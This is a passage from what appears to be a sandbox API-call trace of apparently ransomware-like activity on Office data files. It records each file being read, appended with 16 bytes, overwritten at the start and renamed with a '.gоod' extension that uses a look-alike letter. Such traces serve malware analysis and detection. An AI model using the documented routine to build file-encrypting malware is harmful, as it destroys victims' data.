ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58b03)) returned 1 [0138.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0138.314] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0138.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0138.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0138.314] GetFileType (hFile=0x61c) returned 0x1 [0138.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0138.314] GetFileType (hFile=0x61c) returned 0x1 [0138.314] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0138.314] ReadFile (in: hFile=0x61c, lpBuffer=0x3bea230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3bea230*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0138.316] CloseHandle (hObject=0x61c) returned 1 [0138.316] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0138.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0138.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0138.316] GetFileType (hFile=0x61c) returned 0x1 [0138.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0138.316] GetFileType (hFile=0x61c) returned 0x1 [0138.316] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x58b03 [0138.316] WriteFile (in: hFile=0x61c, lpBuffer=0x3beb540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3beb540*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0138.318] CloseHandle (hObject=0x61c) returned 1 [0138.318] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0138.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0138.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0138.318] GetFileType (hFile=0x61c) returned 0x1 [0138.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0138.318] GetFileType (hFile=0x61c) returned 0x1 [0138.318] ReadFile (in: hFile=0x61c, lpBuffer=0x3bee988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3bee988*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0139.207] CloseHandle (hObject=0x61c) returned 1 [0139.207] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0139.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0139.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.207] GetFileType (hFile=0x61c) returned 0x1 [0139.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0139.207] GetFileType (hFile=0x61c) returned 0x1 [0139.207] WriteFile (in: hFile=0x61c, lpBuffer=0x387ca98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x387ca98*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0139.208] CloseHandle (hObject=0x61c) returned 1 [0139.208] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0139.208] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x59 [0139.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0139.208] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4f308277, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x58b13)) returned 1 [0139.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0139.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0139.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0139.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0139.209] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x38dd240 | out: lpFileInformation=0x38dd240*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcee3319e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94277)) returned 1 [0139.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0139.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0139.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0139.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.209] GetFileType (hFile=0x61c) returned 0x1 [0139.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0139.209] GetFileType (hFile=0x61c) returned 0x1 [0139.209] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0139.210] ReadFile (in: hFile=0x61c, lpBuffer=0x38dd6c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x38dd6c8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0139.317] CloseHandle (hObject=0x61c) returned 1 [0139.919] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0140.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0140.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0140.362] GetFileType (hFile=0x7dc) returned 0x1 [0140.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0140.363] GetFileType (hFile=0x7dc) returned 0x1 [0140.363] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x94277 [0140.363] WriteFile (in: hFile=0x7dc, lpBuffer=0x3a83b70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3a83b70*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0140.364] CloseHandle (hObject=0x7dc) returned 1 [0140.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0140.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0140.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0140.365] GetFileType (hFile=0x7dc) returned 0x1 [0140.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0140.365] GetFileType (hFile=0x7dc) returned 0x1 [0140.365] ReadFile (in: hFile=0x7dc, lpBuffer=0x3a85e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3a85e68*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0140.435] CloseHandle (hObject=0x7dc) returned 1 [0140.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0140.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0140.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0140.436] GetFileType (hFile=0x7dc) returned 0x1 [0140.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0140.436] GetFileType (hFile=0x7dc) returned 0x1 [0140.436] WriteFile (in: hFile=0x7dc, lpBuffer=0x38d2290*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x38d2290*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0140.436] CloseHandle (hObject=0x7dc) returned 1 [0140.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0140.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x54 [0140.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0140.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4febaa34, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x94287)) returned 1 [0140.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0140.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0140.437] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0140.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0140.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3916b38 | out: lpFileInformation=0x3916b38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x57ec)) returned 1 [0140.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0140.437] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0140.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0140.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0140.438] GetFileType (hFile=0x7dc) returned 0x1 [0140.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0140.438] GetFileType (hFile=0x7dc) returned 0x1 [0140.438] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0140.438] ReadFile (in: hFile=0x7dc, lpBuffer=0x3916fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3916fc0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0140.439] CloseHandle (hObject=0x7dc) returned 1 [0140.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0140.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0140.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0140.439] GetFileType (hFile=0x7dc) returned 0x1 [0140.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0140.440] GetFileType (hFile=0x7dc) returned 0x1 [0140.440] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x57ec [0140.440] WriteFile (in: hFile=0x7dc, lpBuffer=0x39183b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x39183b8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0140.441] CloseHandle (hObject=0x7dc) returned 1 [0140.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0140.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0140.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0140.441] GetFileType (hFile=0x7dc) returned 0x1 [0140.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0140.441] GetFileType (hFile=0x7dc) returned 0x1 [0140.441] ReadFile (in: hFile=0x7dc, lpBuffer=0x391a6d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x391a6d0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0141.334] CloseHandle (hObject=0x7dc) returned 1 [0141.334] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0141.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0141.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0141.335] GetFileType (hFile=0x7dc) returned 0x1 [0141.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0141.335] GetFileType (hFile=0x7dc) returned 0x1 [0141.335] WriteFile (in: hFile=0x7dc, lpBuffer=0x3597158*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3597158*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0141.335] CloseHandle (hObject=0x7dc) returned 1 [0141.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4f [0141.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x54 [0141.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0141.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x50739048, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x57fc)) returned 1 [0141.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0141.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0141.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0141.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0141.336] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x38ee500 | out: lpFileInformation=0x38ee500*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03a857f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03a857f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd048d683, ftLastWriteTime.dwHighDateTime=0x1d327e7, 